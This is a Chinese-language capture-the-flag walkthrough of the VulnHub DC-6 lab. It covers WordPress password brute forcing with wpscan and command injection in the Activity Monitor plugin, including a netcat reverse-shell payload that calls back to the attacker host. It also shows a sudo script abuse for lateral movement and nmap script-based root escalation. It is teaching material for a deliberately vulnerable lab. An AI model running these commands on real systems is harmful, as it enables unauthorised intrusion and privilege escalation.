標(biāo)簽:爆破、WordPress、Activity monitor插件、反彈shell、水平越權(quán)、nmap提權(quán)l(xiāng)inux
0x00 環(huán)境準(zhǔn)備
下載地址:https://www.vulnhub.com/entry/dc-4,313/
flag數(shù)量:1
攻擊機(jī):kali
攻擊機(jī)地址:192.168.1.31
靶機(jī)描述:
DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
NOTE:
You WILL need to edit your hosts file on your pentesting device so that it reads something like:
192.168.0.142 wordy
Clue:
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)
0x01 信息搜集
1.探測靶機(jī)地址
命令:arp-scan -l

靶機(jī)地址是192.168.1.34
2.探測靶機(jī)開放端口
命令:nmap -sV -p- 192.168.1.34

開放了80和22端口,先看一下80端口

不能訪問,原來要修改host文件,命令:vim /etc/hosts,添加一條信息:192.168.1.34 wordy

修改后可以訪問了,是WordPress CMS

這個CMS有個專屬掃描器——wpscan,但是沒有發(fā)現(xiàn)漏洞。
0x02 爆破密碼
DC6有提示:

提到了rockyou.txt,這是kali自帶的一個密碼字典,這個字典非常龐大,有幾千萬的數(shù)據(jù),如果使用整個字典爆破的話要花費很長時間,所以先輸入提示中的命令來篩選一些密碼保存到文件中,再進(jìn)行爆破。

使用wpscan探測一下用戶名,命令:wpscan --url http://wordy/ -e u

發(fā)現(xiàn)了5個用戶名,將用戶名整理到一起,開始爆破,命令:wpscan --url http://wordy/ -U dc6wpuser.txt -P dc6passwords.txt -t 50

爆破出一組用戶密碼:mark \ helpdesk01
0x03 利用漏洞插件反彈shell
拿到一組用戶名密碼后,去登錄一下看看,wp后臺的默認(rèn)路徑:http://wordy/wp-login.php

發(fā)現(xiàn)有個Activity monitor插件,查詢一下Activity monitor插件是否爆出過漏洞,命令:searchsploit Activity monitor

查詢到三個利用文件,這里用最新的。將文件復(fù)制過來,然后根據(jù)實際情況修改一下:


在kali上開啟監(jiān)聽,命令:nc -lnvp 9999,用瀏覽器打開45274.html文件,點擊按鈕,跳轉(zhuǎn)到

但是并沒有反彈shell,那就使用burp抓包改包嘗試反彈shell。
在當(dāng)前頁面開啟burp,點擊Lookup,在name="ip"的下面輸入命令,發(fā)包,可以看到命令被執(zhí)行了。

執(zhí)行反彈shell命令:127.0.0.1 | nc -e /bin/sh 192.168.1.31 9999

反彈成功了,切換到bash環(huán)境下,命令:python -c "import pty;pty.spawn('/bin/bash')"

在/home/mark/stuff中找到了一個文件,打開后發(fā)現(xiàn)了一組用戶名密碼:graham - GSo7isUM1D4

0x04 水平越權(quán)
使用新獲得的賬號密碼嘗試登錄SSH,命令:ssh graham@192.168.1.34

登錄成功,執(zhí)行:sudo -l,在/home/jens目錄下發(fā)現(xiàn)一個sh文件,如果以jens身份執(zhí)行不需要密碼。cat查看文件內(nèi)容發(fā)現(xiàn)是對網(wǎng)站的打包命令,作用是備份網(wǎng)站根目錄。

那么如果在這個文件中寫入/bin/bash命令,然后以jens用戶身份運行就可以獲取到j(luò)ens的shell了。命令:
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh

0x05 提權(quán)
執(zhí)行sudo -l命令,發(fā)現(xiàn)在jens的shell下,可以在不需要密碼的情況下,以root的身份權(quán)限執(zhí)行nmap

nmap工具是可以執(zhí)行腳本的,那么我們把彈root用戶shell的命令寫入到nmap的腳本里面,然后用nmap命令執(zhí)行即可切換到root用戶的shell。命令:
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell

在/root目錄下找到flag文件

由于我不會每天都登錄簡書,所以有什么私信或者評論我都不能及時回復(fù),如果想要聯(lián)系我最好給我發(fā)郵件,郵箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果發(fā)郵件請備注“簡書”
參考鏈接
1.VulnHub—DC-6
2.Vulnhub靶機(jī)實戰(zhàn)——DC-6
3.vulnhub靶機(jī)之DC6實戰(zhàn)(wordpress+nmap提權(quán))